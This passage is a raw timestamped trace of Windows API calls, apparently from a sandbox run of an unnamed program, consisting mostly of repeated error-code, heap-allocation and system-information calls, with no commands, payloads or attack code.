SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.942] GetLastError () returned 0x0 [0095.942] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.943] SetLastError (dwErrCode=0x0) [0095.943] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x5f3d20 [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.944] GetLastError () returned 0x0 [0095.944] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.945] GetLastError () returned 0x0 [0095.945] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.946] SetLastError (dwErrCode=0x0) [0095.946] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.947] SetLastError (dwErrCode=0x0) [0095.947] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.948] SetLastError (dwErrCode=0x0) [0095.948] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.949] GetLastError () returned 0x0 [0095.949] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] GetLastError () returned 0x0 [0095.950] SetLastError (dwErrCode=0x0) [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x9c) returned 0x5f3da0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1f) returned 0x5f17e0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5f3e48 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x37) returned 0x5f3e88 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x5f3ec8 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x31) returned 0x5f3f10 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x5f0a40 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f3f50 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x14) returned 0x5f3f80 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd) returned 0x5f0c18 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x25) returned 0x5f3fa0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x39) returned 0x5f2a58 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5f2aa0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x5f2ac0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xe) returned 0x5f0c30 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x69) returned 0x5f2ae0 [0095.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x5f2b58 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1b) returned 0x5f1808 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1d) returned 0x5f1830 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x5f2ba0 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x5f2bf0 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5f2c10 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1b) returned 0x5f1858 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f2c30 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x29) returned 0x5f2c60 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x5f1880 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x41) returned 0x5f2c98 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x5f2ce8 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x14) returned 0x5f2d08 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xf) returned 0x5f0c48 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x16) returned 0x5f2d28 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f2d48 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x29) returned 0x5f2d80 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x15) returned 0x5f2db8 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x5f18a8 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f2dd8 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x5f2e10 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5f2e30 [0095.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x46) returned 0x5f2e50 [0095.951] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f3568 | out: hHeap=0x5e0000) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x80) returned 0x5f2ea0 [0095.952] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f2f28 [0095.952] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c304) returned 0x0 [0095.952] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f2ea0) returned 0x80 [0095.952] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f2ea0) returned 0x80 [0095.953] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f2ea0) returned 0x80 [0095.953] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f2ea0) returned 0x80 [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.953] SetLastError (dwErrCode=0x0) [0095.953] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.954] SetLastError (dwErrCode=0x0) [0095.954] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetLastError () returned 0x0 [0095.955] SetLastError (dwErrCode=0x0) [0095.955] GetTickCount () returned 0x45c6 [0095.955] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.956] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.956] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.956] GetTickCount () returned 0x45c6 [0095.956] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.956] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.956] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.956] GetTickCount () returned 0x45c6 [0095.956] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.956] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.956] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.956] GetTickCount () returned 0x45c6 [0095.956] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.956] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.956] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.956] GetTickCount () returned 0x45c6 [0095.956] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.956] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.956] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.957] GetTickCount () returned 0x45c6 [0095.957] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.957] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.957] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.957] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.957] GetTickCount () returned 0x45c6 [0095.957] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.957] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.957] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.957] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.957] GetTickCount () returned 0x45c6 [0095.957] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.957] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.957] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.957] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.957] GetTickCount () returned 0x45c6 [0095.957] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.957] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.957] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.957] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.957] GetTickCount () returned 0x45c6 [0095.957] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.957] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.957] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.958] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.958] GetTickCount () returned 0x45c6 [0095.958] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.958] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.958] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 